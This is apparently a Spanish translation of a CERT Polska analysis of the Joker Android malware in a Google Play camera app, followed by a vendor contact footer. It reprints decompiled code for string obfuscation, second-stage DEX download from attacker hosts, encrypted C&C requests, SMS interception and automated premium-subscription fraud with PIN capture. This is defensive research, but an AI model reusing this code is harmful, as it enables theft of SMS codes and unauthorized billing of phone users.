The Dark Knight Returns: análisis del malware Joker


rewrite this content and keep HTML tags

CERT Polska ha observado recientemente nuevas muestras del malware móvil «Joker». Las aplicaciones están presentes en Google Play Store y están dirigidas, entre otros, a usuarios polacos.

Información básica

El malware Joker, en el momento de escribir este artículo, todavía estaba disponible en play.google.com/store/apps/details?id=com.onmybeauty.beautycamera

A la fecha del análisis, la aplicación aún está disponible y cuenta con más de 100.000 descargas, siendo la última actualización publicada el 17/09/2024. Una vez descargada e instalada por el usuario, la interfaz en sí no parece maliciosa y coincide con la descripción en Google Play Store: The beauty camera can replace the camera software on your original phone, allowing you to better capture beautiful memories. La apariencia de la aplicación en ejecución:

Análisis técnico

Cada aplicación de Android comienza con un AndroidManifest.xml archivo. Define los componentes de la aplicación, incluidas actividades, servicios y permisos. En el contexto del análisis, la información clave es determinar el punto de partida de la aplicación:

 android:name="com.onmybeauty.beautycamera.LoadingActivity" android:exported="true">
            
                 android:name="android.intent.action.MAIN"/>
                 android:name="android.intent.category.LAUNCHER"/>
            
        

En el caso de la aplicación analizada, el punto de partida es com.onmybeauty.beautycamera.LoadingActivity. Por lo tanto, aquí comenzaremos con el análisis de código estático. El manifiesto contenido en el archivo apk también permite extraer información adicional, por ejemplo, sobre permisos:

 android:name="android.permission.CAMERA"/>
 android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:maxSdkVersion="28"/>
 android:name="android.permission.INTERNET"/>
 android:name="android.permission.CHANGE_NETWORK_STATE"/>
 android:name="android.permission.ACCESS_NETWORK_STATE"/>
 android:name="com.google.android.gms.permission.AD_ID"/>

Al analizar el punto de partida en la aplicación descompilada, podemos identificar puntos críticos para el análisis:

Después de la inicialización del onCreate() En este método se llevan a cabo una serie de acciones, incluida la creación de una interfaz para el usuario. Sin embargo, nos interesan dos líneas de código específicas:

Network.init(this, new NetConfig.Builder().baseUrl(AbstractC1835n.m226m(new byte(){103, -56, -51, -63, -54, 103, 77, -97, 34, -35, -49, -40}, new byte(){12, -87, -96, -88, -71, 6, 57, -22})).build());
Network.net();

El AbstractC1835n.m226m La función está diseñada para ofuscar el código cifrando cadenas de claves. Aplica una operación XOR a matrices de bytes para descifrar los datos:

public static String m226m(byte() bArr, byte() bArr2) {
        int length = bArr.length;
        int length2 = bArr2.length;
        int i = 0;
        int i2 = 0;
        while (i  length) {
            if (i2 >= length2) {
                i2 = 0;
            }
            bArr(i) = (byte) (bArr(i) ^ bArr2(i2));
            i++;
            i2++;
        }
        return new String(bArr, StandardCharsets.UTF_8);
    }

Después de descifrar la cadena dada, obtenemos el kamisatu.top dominio. Luego la aplicación inicializa el Netowrk.init() función para almacenar el dominio en el NetConfig variable de la Network clase. En el siguiente paso, la aplicación ejecuta el Network.net() función, cuya implementación tiene el siguiente aspecto:

public static void net() {
        new PostFormTask(new LoadingCallbackString>() { 
            @Override 
            public void onSuccess(String str) {
                Toast.makeText(Network.sContext, str, 0).show();
            }
        }) { 
            @Override 
            public String getApi() {
                return AbstractC1835n.m226m(new byte(){70, -38, -30, -106, -91, 18, -55, 17, 70, -38, -28, -121, -65, 30, -43, 15}, new byte(){105, -87, -121, -30, -47, 123, -89, 118});
            }
        }.exe();
    }

El PostFormTask clase, maneja la construcción y ejecución de la solicitud de red:

public abstract class PostFormTask extends BaseTask {
    public EntityType> PostFormTask(RequestCallbackEntityType> requestCallback) {
        super(requestCallback, RequestType.POST_FORM);
    }
}

RequestType.POST_FORM Especifica que se trata de una solicitud POST. El BaseTask La clase es responsable de construir la solicitud de red real. La configuración de la solicitud se implementa en el BaseTask.doTask() función, que se llama después de la exe() la función se llama:

private InterfaceC0394j doTask() {
    String transformUrl = transformUrl(); 
    C0371I c0371i = new C0371I(); 

    if (this.mRequestType == RequestType.POST_FORM) {
        c0371i.m3305d(transformUrl);
        AbstractC0376N buildPostForm = ParamsBuilder.buildPostForm(this.mParamsMap);
        c0371i.m3306c("POST", buildPostForm); 
    }
    ParamsBuilder.buildHeaders(c0371i, this.mHeaders);
    return c0371i.m3308a(); 
}

transformUrl(): transforma la ruta API (/setting/scenery), incluyendo potencialmente cualquier parámetro necesario o aplicando cifrado/descifrado:

private String transformUrl() {
        NetConfig netConfig;
        String api = getApi();
        if (!TextUtils.isEmpty(api) && api.startsWith(AbstractC1835n.m226m(new byte(){69}, new byte(){106, -58, -70, 67, -59, -27, 96, -57})) && (netConfig = Network.sConfig) != null && !TextUtils.isEmpty(netConfig.baseUrl)) {
            return AbstractC1835n.m226m(new byte(){58, -127, -126, -30, 23, -101, -31, -117}, new byte(){82, -11, -10, -110, 100, -95, -50, -92}) + Network.sConfig.baseUrl + api;
        }
        return api;
    }

buildPostForm(): construye datos de formulario para una solicitud POST del mParamsMap mapa de parámetros:

 public static AbstractC0376N buildPostForm(MapString, Object> map) {
        String obj;
        ArrayList arrayList = new ArrayList();
        ArrayList arrayList2 = new ArrayList();
        if (map != null && !map.isEmpty()) {
            for (Map.EntryString, Object> entry : map.entrySet()) {
                if (!TextUtils.isEmpty(entry.getKey())) {
                    Object value = entry.getValue();
                    String key = entry.getKey();
                    if (value == null) {
                        obj = "";
                    } else {
                        obj = value.toString();
                    }
                    AbstractC0137f.m3656e("name", key);
                    AbstractC0137f.m3656e("value", obj);
                    arrayList.add(C0386b.m3282b(key, 0, 0, " \"':;@()^`{}|/\\?#&!$(),~", false, false, true, false, null, 91));
                    arrayList2.add(C0386b.m3282b(obj, 0, 0, " \"':;@()^`{}|/\\?#&!$(),~", false, false, true, false, null, 91));
                }
            }
        }
        return new C0403s(arrayList, arrayList2);
    }

Request Builder (C0371I): Crea una solicitud de red configurando la URL, el método HTTP (POST) y el contenido (datos del formulario).

El exe() Se llama al método para realizar la tarea y enviar la solicitud:

@Override
public InterfaceC0394j exe() {
    return doTask(); 
}

Después de una solicitud exitosa, la respuesta es procesada por el onSuccess() método en la devolución de llamada:

@Override
public void onSuccess(String str) {
    Toast.makeText(Network.sContext, str, 0).show(); 
}

La respuesta del servidor se muestra en un mensaje Toast, lo que indica que el servidor ha devuelto datos cifrados. Probablemente se utilizó Toast aquí como alternativa al portapapeles, ya que no requiere permisos adicionales. El mensaje Toast que ve el usuario tiene el siguiente aspecto:

Aquí, Toast muestra una cadena, que es la respuesta cuando se envía una solicitud a kamisatu.top/setting/scenery. Sin embargo, resulta que el valor no solo se muestra en Toast, sino que también se pasa en otra parte del APK. El método clave que conecta el mensaje Toast con la ejecución del código nativo es el método handleBody(). Este es responsable de manejar la respuesta del servidor y procesar los datos después de que el mensaje se muestra en el Toast:

private EntityType> void handleBody(C0378P c0378p, RequestCallbackEntityType> requestCallback) {
EntityType entitytype;
Type genericType;
AbstractC0382U abstractC0382U = c0378p.f1052g;
if (abstractC0382U != null) {
String string = abstractC0382U.string();
if (requestCallback == null || (genericType = Generics.getGenericType(requestCallback.getClass(), RequestCallback.class)) == null || genericType == Void.class) {
entitytype = null;
} else {
entitytype = string;
if (genericType != String.class) {
Object parseObject = JsonUtils.parseObject(string, genericType);
entitytype = parseObject;
if (parseObject == 0) {
onError(5, convert(AbstractC1835n.m226m(new byte(){26, 71, -58, 41, 19, -92, -59, 7, 124, 17, -62, 87, 71, -121, -82, 86, 82, 67, -102, 102, 37, -34, -78, 48, 24, 114, -16, 38, 7, -82}, new byte(){-3, -12, 125, -50, -88, 59, 34, -66}), AbstractC1835n.m226m(new byte(){40, -13, 99, -107, 69, 125, 10, -121, 34, -25, 123, -104}, new byte(){76, -110, 23, -12, 101, 20, 121, -89})), requestCallback);
return;
}
}
}
onSuccess(entitytype, requestCallback);
BeautySoft.open((String) entitytype);
return;
}
onError(4, convert(AbstractC1835n.m226m(new byte(){73, -2, -21, -40, -65, 114, -39, 97, 47, -88, -17, -90, -21, 81, -78, 48, 1, -6, -73, -105, -119, 8, -82, 86, 75, -53, -35, -41, -85, 120}, new byte(){-82, 77, 80, 63, 4, -19, 62, -40}), AbstractC1835n.m226m(new byte(){-19, 55, -64, 2, -122, -32, -96, -48, -5, 42, -33, 24, -116, -91, -14, -41, -25, 62, -55}, new byte(){-120, 90, -80, 118, -1, -64, -46, -75})), requestCallback);
}

AbstractC0382U abstractC0382U = c0378p.f1052g;: Esta línea de código es responsable de extraer la respuesta del servidor utilizando el abstractC0382U.string() método. Luego la respuesta se pasa al onSuccess() método, que activa un mensaje Toast con una cadena cifrada. La cadena de la respuesta del servidor también se pasa al BeautySoft.open((String) entitytype); función, que es una función nativa:

public abstract class BeautySoft {
static {
System.loadLibrary(AbstractC1835n.m226m(new byte(){112, -50, -100, 13, -53, 123, 56, 25}, new byte(){0, -90, -13, 121, -92, 8, 93, 109}));
}
public static native void open(String str);
}

La biblioteca nativa (libphotoset.so) se carga dinámicamente usando el System.loadLibrary() función. El nombre de la biblioteca se cifra y descifra utilizando el AbstractC1835n.m226m() método. La respuesta del servidor (que se muestra en Toast) se pasa al servidor nativo. BeautySoft.open() método. Desafortunadamente, la versión actual del archivo APK disponible en Google Play Store no incluye la versión nativa. libphotoset.so biblioteca en los recursos. Esto puede deberse a que los responsables de desarrollar este tipo de aplicaciones en la tienda de Google siguen actualizando y cambiando sus aplicaciones para reducir el riesgo de detección por parte de herramientas automáticas. Nuestra información también muestra que la versión anterior se distribuyó como xapk, donde el libphotoset.so La biblioteca estaba disponible.

Sin embargo, no es aquí donde termina nuestro análisis. En este punto, sabemos que la cadena cifrada se pasa al BeautySoft.open(String str) método, que probablemente descifra la cadena y la ejecuta dinámicamente como DEX. Entonces todavía podemos intentar descifrar manualmente la cadena. Aquí el ciberchef La herramienta resulta muy útil, con su ayuda pudimos descifrar la cadena y obtener el ejecutable. DEX archivo, que contiene la carga útil maliciosa de Joker. La cadena de la respuesta de kamisatu.top/setting/scenery contiene dos datos clave. La primera es una cadena no especificada y la segunda es la URL: https://forga.oss-me-east-1.aliyuncs.com/Kuwan.

Dado que no tenemos acceso a la biblioteca nativa que implementa el BeautySoft.open() funciones, podemos asumir que la aplicación tiene dos métodos para “crear” el DEX archivo: 1. descifrar la cadena contenida en la respuesta 2. descargar directamente el Kuwan archivo y descifrarlo.

El análisis de la cadena mostró que se trataba de un cifrado no estándar. Así que llevamos al fondo de pantalla el Kuwan archivo, que logramos descifrar:

Análisis técnico de la segunda etapa.

el descifrado Kuwan El archivo es de hecho el objetivo. DEX file, lo que parece confirmar la teoría inicial, sobre un método nativo que descifra una cadena/archivo descargado de un sitio externo en un DEX archivo y luego lo carga y ejecuta dinámicamente.

Calificamos la suscripción como fraude cuando se realiza sin el consentimiento del usuario. En el fraude de suscripción, el malware ejecuta la suscripción en nombre del usuario de tal manera que todo el proceso ocurre en segundo plano y pasa desapercibido.

Lo primero importante que hace el malware, incluso antes de los pasos principales, es identificar el país y la red móvil del suscriptor con códigos MCC y MNC. Ambos códigos son recuperados por la aplicación utilizando el TelephonyManager clase. La llamada API TelephonyManager.getSimOperator() devuelve los códigos MCC y MNC como una cadena concatenada:

private static String MdATElAc() {
TelephonyManager telephonyManager = (TelephonyManager) f33LfUtNUXX.getSystemService("phone");
return telephonyManager != null ? telephonyManager.getSimOperator() : "";
}

Las variantes de Joker dirigidas a dispositivos con la versión Android 9.0 utilizan el método setWifiEnabled de la clase WifiManager para desactivar Wi-Fi. Mientras que la variante bajo revisión, utiliza otra capacidadque es el requestNetwork función de la ConnectivityManagerclass.

private void TXbyafmq() {
try {
NetworkRequest.Builder builder = new NetworkRequest.Builder();
builder.addCapability(12);
builder.addTransportType(0);
WYOdgBxH().requestNetwork(builder.build(), new C0038BdnLopBC());//public class C0038BdnLopBC extends ConnectivityManager.NetworkCallback
} catch (Exception e) {
}
}
private ConnectivityManager WYOdgBxH() {
return (ConnectivityManager) this.f75WYOdgBxH.getSystemService("connectivity");
}

El NetworkCallback Se utiliza para monitorear el estado de la red y recuperar el networktype variable, que luego se puede utilizar para vincular un proceso a una red específica a través de la ConnectivityManager.bindProcessToNetwork función. Esto permite que el malware utilice la red móvil incluso si hay una conexión Wi-Fi.

Suponiendo que el proveedor de SIM está en la lista de objetivos y el dispositivo está usando una conexión móvil (lo cual sabemos por el paso anterior), en el siguiente paso el malware descargará una lista de sitios web que ofrecen servicios premium e intentará suscribirse. Lo que sucede a continuación depende de cómo se inicia el proceso de suscripción, por lo que el malware suele contener código que puede manejar diferentes flujos de suscripción.

En la segunda etapa, la aplicación se comunica con un servidor externo para recuperar la configuración (incluidas las URL de suscripción). Utiliza la función C0055MdATElAc WYOdgBxH(Context context, boolean z) enviar solicitudes cifradas, ocultando el contenido de la comunicación.

 public static C0055MdATElAc WYOdgBxH(Context context, boolean z) {
if (TextUtils.isEmpty(C0021LfUtNUXX.f34MdATElAc)) {
return null;
}
JSONObject jSONObject = new JSONObject();
try {
jSONObject.put("zubfih", String.valueOf(C0021LfUtNUXX.f36WYOdgBxH));
jSONObject.put("bshwai", C0021LfUtNUXX.BUjkrPlp);
jSONObject.put("eymbmw", z);
jSONObject.put("rktfht", C0021LfUtNUXX.f37fhuPPCBW);
String url = WYOdgBxH(C0023WYOdgBxH.f42LfUtNUXX).toString();
C0006TXbyafmq WYOdgBxH2 = new C0005LfUtNUXX().WYOdgBxH(url, WYOdgBxH(jSONObject.toString(), url));
if (C0006TXbyafmq.WYOdgBxH(WYOdgBxH2)) {
return new C0055MdATElAc(new JSONObject(WYOdgBxH(WYOdgBxH2.f18MdATElAc, url)).getJSONArray("lybfta").getJSONObject(0));
}
return null;
} catch (IOException e) {
return null;
} catch (JSONException e2) {
return null;
}
}

El malware comprueba si se ha proporcionado el código SIM del operador, crea una carga útil y construye una URL a partir de una cadena recibida previamente, que no podemos obtener porque no tenemos acceso a la libphotoset.so biblioteca nativa. cuando el open() función descifró el DEX archivo que ejecutó el init() método, donde se pasó la cadena con la URL C&C:

public class MainEntry {
public static void init(String str, String str2) {
C0021LfUtNUXX.WYOdgBxH(str, str2);
}
}

Luego cifra la carga útil y la envía a C&C:

private static byte() WYOdgBxH(String str, String str2) {
return C0021LfUtNUXX.CEBGtjfl.WYOdgBxH(str, str2);
}
public byte() WYOdgBxH(String str, String str2) {
byte() WYOdgBxH2 = WYOdgBxH(str2);
SecretKeySpec secretKeySpec = new SecretKeySpec(WYOdgBxH2, "AES");
IvParameterSpec ivParameterSpec = new IvParameterSpec(WYOdgBxH2);
try {
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(1, secretKeySpec, ivParameterSpec);
return cipher.doFinal(str.getBytes(StandardCharsets.UTF_8));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public C0006TXbyafmq WYOdgBxH(String str, byte() bArr) {
try {
InterfaceC0007WYOdgBxH interfaceC0007WYOdgBxH = this.f15TXbyafmq;
if (interfaceC0007WYOdgBxH != null) {
str = interfaceC0007WYOdgBxH.WYOdgBxH(str);
}
HttpURLConnection WYOdgBxH2 = WYOdgBxH(str, "POST");
WYOdgBxH2.setDoInput(true);
WYOdgBxH2.setDoOutput(true);
if (bArr != null && bArr.length > 0) {
OutputStream outputStream = WYOdgBxH2.getOutputStream();
outputStream.write(bArr);
outputStream.flush();
outputStream.close();
}
return WYOdgBxH(WYOdgBxH2, str);
} catch (Exception e) {
return WYOdgBxH(str, e);
}
}

La aplicación comprueba si la conexión se realizó correctamente:

if (C0006TXbyafmq.WYOdgBxH(WYOdgBxH2)) {
return new C0055MdATElAc(new JSONObject(WYOdgBxH(WYOdgBxH2.f18MdATElAc, url)).getJSONArray("lybfta").getJSONObject(0));}

Si es así, descifra los datos devueltos de C&C y luego lee y escribe los datos del lubfta formación:

public String WYOdgBxH(byte() bArr, String str) {
byte() WYOdgBxH2 = WYOdgBxH(str);
SecretKeySpec secretKeySpec = new SecretKeySpec(WYOdgBxH2, "AES");
IvParameterSpec ivParameterSpec = new IvParameterSpec(WYOdgBxH2);
try {
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(2, secretKeySpec, ivParameterSpec);
return new String(cipher.doFinal(bArr));
} catch (Exception e) {
throw new RuntimeException(e);
}
}

Cuando el malware obtiene una lista de suscriptores potenciales, activa la interceptación de SMS:

class C0042TXbyafmq extends BroadcastReceiver {
final String f82WYOdgBxH;
C0042TXbyafmq(String str) {
this.f82WYOdgBxH = str;
}
@Override 
public void onReceive(Context context, Intent intent) {
String stringExtra = intent.getStringExtra(this.f82WYOdgBxH);
if (TextUtils.isEmpty(stringExtra)) {
stringExtra = intent.getStringExtra("android.text");
}
if (TextUtils.isEmpty(stringExtra)) {
stringExtra = intent.getStringExtra("at");
if (!TextUtils.isEmpty(stringExtra) && !Telephony.Sms.getDefaultSmsPackage(C0037TXbyafmq.this.f75WYOdgBxH).equals(intent.getStringExtra("ap"))) {
return;
}
}
C0022TXbyafmq.LfUtNUXX("addSmsFromBroadcast:" + stringExtra);
C0037TXbyafmq.WYOdgBxH(stringExtra);
}
}

La aplicación luego se inicializa webView(C0028LfUtNUXX) con JavaScript habilitado e inicia una llamada a la URL de la página de suscripción desde una lista descargada previamente. En el siguiente paso, ejecuta JavaScript para interactuar con la página, lo que automatiza todo el proceso y permite suscribirse a una página determinada sin interacción del usuario:

public void WYOdgBxH(C0055MdATElAc.C0056LfUtNUXX c0056LfUtNUXX) {
if (this.f57TXbyafmq.f105TXbyafmq >= 300) {
TXbyafmq("runJs-" + c0056LfUtNUXX.f113WYOdgBxH + ":" + c0056LfUtNUXX.f110LfUtNUXX);
}
this.f58WYOdgBxH.evaluateJavascript(c0056LfUtNUXX.f110LfUtNUXX.replace(C0023WYOdgBxH.BRgPASkR, this.f59fhuPPCBW), null);
}

JavaScript se ejecuta en el contexto de WebView, lo que provoca que se llame al método de llamada (C0023WYOdgBxH.BRgPASkR == "window.JBridge.call('dump', document.documentElement.outerHTML);")

 @JavascriptInterface
public String call(String str, String str2) {
try {
} catch (Exception e) {
C0028LfUtNUXX.this.TXbyafmq("JBridge-Exception:" + e.toString());
}
if (C0028LfUtNUXX.this.f57TXbyafmq.eJbwVqlc > 0) {
return "";
}
if (str.equals(C0023WYOdgBxH.KWHgxmAB)) { // (str.equals("dump"))
C0052BdnLopBC WYOdgBxH2 = C0028LfUtNUXX.this.f57TXbyafmq.WYOdgBxH();
if (WYOdgBxH2 != null) {
WYOdgBxH2.WYOdgBxH(str2);
}
return "";
}

En este punto del análisis, el malware ya es capaz de automatizar las interacciones con las páginas de suscripción e interceptar y grabar mensajes SMS. El último paso es la interacción con las páginas para poder suscribirse. Esto sucede dentro de la función. LfUtNUXX(String str).La función primero intenta recuperar el MSISDN (Número del directorio de abonados internacionales de la estación móvil) a partir de los parámetros almacenados:

public void LfUtNUXX(String str) {
String str2;
String WYOdgBxH2 = C0022TXbyafmq.WYOdgBxH(str, "api2/", "/");
C0006TXbyafmq WYOdgBxH3 = new C0005LfUtNUXX().WYOdgBxH(this.f51LfUtNUXX).WYOdgBxH(str);
this.f52WYOdgBxH.BdnLopBC("2_url:" + WYOdgBxH3.f17LfUtNUXX);
String str3 = WYOdgBxH3.f17LfUtNUXX.split("/")(4);
String str4 = WYOdgBxH3.f17LfUtNUXX.split("/")(5);
this.f52WYOdgBxH.BdnLopBC("2_t1:" + str3);
this.f52WYOdgBxH.BdnLopBC("2_t2:" + str4);
this.f52WYOdgBxH.BdnLopBC("2_prod:" + WYOdgBxH2);
String WYOdgBxH4 = WYOdgBxH();
this.f52WYOdgBxH.BdnLopBC("2_msisdn:" + WYOdgBxH4);
...
private String WYOdgBxH() {
C0055MdATElAc.C0056LfUtNUXX WYOdgBxH2 = this.f52WYOdgBxH.WYOdgBxH("pl_protocol", 100);
return (WYOdgBxH2 == null || !TextUtils.isDigitsOnly(WYOdgBxH2.f110LfUtNUXX)) ? "" : WYOdgBxH2.f110LfUtNUXX;
}
  1. Recupera un parámetro llamado «pl_protocol» del contexto
  2. Comprueba si el valor del parámetro consta únicamente de dígitos (un número de teléfono válido).
  3. Devoluciones MSISDN si está disponible; de lo contrario, devuelve una cadena vacía.

Luego, el malware envía una solicitud de transacción utilizando la información obtenida. MSISDN y el resto de datos requeridos, como TransactionId(tal es transmitido por C&C como se muestra en los pasos anteriores del análisis):

String str7 = "https://epayment.teleaudio.pl/api2/typeundef_" + WYOdgBxH2 + "/direct/proceed";
String str8 = "{\"TransactionId\":\"" + str3 + "\",\"Msisdn\":\"" + WYOdgBxH4 + "\",\"Carrier\":\"U\",\"Consents\":null,\"Connection\":\"typeundef\"}";
this.f51LfUtNUXX.clear();
this.f51LfUtNUXX.put("Content-Type", "application/json");
this.f51LfUtNUXX.put("Authorization", "Bearer " + str4);
this.f52WYOdgBxH.BdnLopBC("4_s5_url:" + str7);
this.f52WYOdgBxH.BdnLopBC("4_s5_data:" + str8);
this.f52WYOdgBxH.TXbyafmq();
String str9 = new String(new C0005LfUtNUXX().WYOdgBxH(this.f51LfUtNUXX).WYOdgBxH(str7, str8.getBytes()).f18MdATElAc);
this.f52WYOdgBxH.BdnLopBC("5_s5_content:" + str9);

En el siguiente paso, si la solicitud tiene éxito, la aplicación recupera el código del SMS (como sabemos por los pasos anteriores, la aplicación recupera y guarda continuamente los mensajes SMS), que se requiere para confirmar la transacción:

String LfUtNUXX2 = this.f52WYOdgBxH.LfUtNUXX("2::(kod|PIN|code).*?(\\d{3,6})", 30029);
this.f52WYOdgBxH.BdnLopBC("5_s5_pin:" + LfUtNUXX2);

Finalmente, después de adquirir el código PIN necesario para aprobar la transacción, el malware envía una confirmación:

String str10 = "https://epayment.teleaudio.pl/api2/ta/direct/confirm";
this.f52WYOdgBxH.BdnLopBC("5_s6_data:" + ("{\"TransactionId\":\"" + str3 + "\",\"Pin\":\"" + LfUtNUXX2 + "\",\"Consents\":null}"));
this.f52WYOdgBxH.BdnLopBC("6_s6_content:" + new String(new C0005LfUtNUXX().WYOdgBxH(this.f51LfUtNUXX).WYOdgBxH(str10, str2.toString().getBytes()).f18MdATElAc));

Una vez aprobada la transacción, verifica su estado y verifica que la suscripción se haya realizado correctamente:

 String str11 = new String(new C0005LfUtNUXX().WYOdgBxH(this.f51LfUtNUXX).WYOdgBxH("https://epayment.teleaudio.pl/api2/ta/direct/status/" + str3).f18MdATElAc);
this.f52WYOdgBxH.BdnLopBC("7_s7_content:" + str11);
if (str11.contains("Transakcja zakończona pomyślnie.")) {
WYOdgBxH(100);
} else {
WYOdgBxH(903);
}

Resumen

Un análisis exhaustivo del comportamiento de la aplicación ha revelado un mecanismo sofisticado y malicioso diseñado para hacer que los usuarios se suscriban a servicios premium sin su conocimiento o consentimiento. La aplicación utiliza un proceso de varios pasos que emplea comunicaciones cifradas, código ofuscado y acceso no autorizado a datos confidenciales del usuario. Al analizar cada componente y comprender el flujo de operaciones, podemos concluir que la aplicación representa una grave amenaza para la seguridad, la privacidad y las finanzas de los usuarios.

COI

MD5
Stage one:
1ad4d8037d6890f317dc28bb53c1eb03 (com.onmybeauty.beautycamera.apk - https://play.google.com/store/apps/details?id=com.onmybeauty.beautycamera)
Stage two:
f508a96654c355b8bd575f8d8ed8a157 - decoded_kuwan.dex
kamisatu(.)top
https://forga.oss-me-east-1.aliyuncs.com/Kuwan
Other related samples from the Joker campaign in recent days:
962c0590dd3d2cdb707e32ae8b30bcfc (xapk version with photolibrary.so included)
bcfe46df4d66cc3c6f92d281ceac53e1
5942a2e46b29ddc1dd5d9373a8c419ad
62d9b7cff4a09d7c3b7e8bcf9d00d196

Enlace de la fuente, haz clic para tener más información

Alertas y noticias de seguridad de la información

Contacta

Contacta con nosotros para obtener soluciones integrales en IT y seguridad de la información

Estamos encantados de responder cualquier pregunta que puedas tener, y ayudarte a determinar cuáles de nuestros servicios se adaptan mejor a tus necesidades.

Nuestros beneficios:
¿Qué sucede a continuación?
1

Programamos una llamada según tu conveniencia.

2

Realizamos una reunión de descubrimiento y consultoría.

3

Preparamos una propuesta.

Agenda una consulta gratuita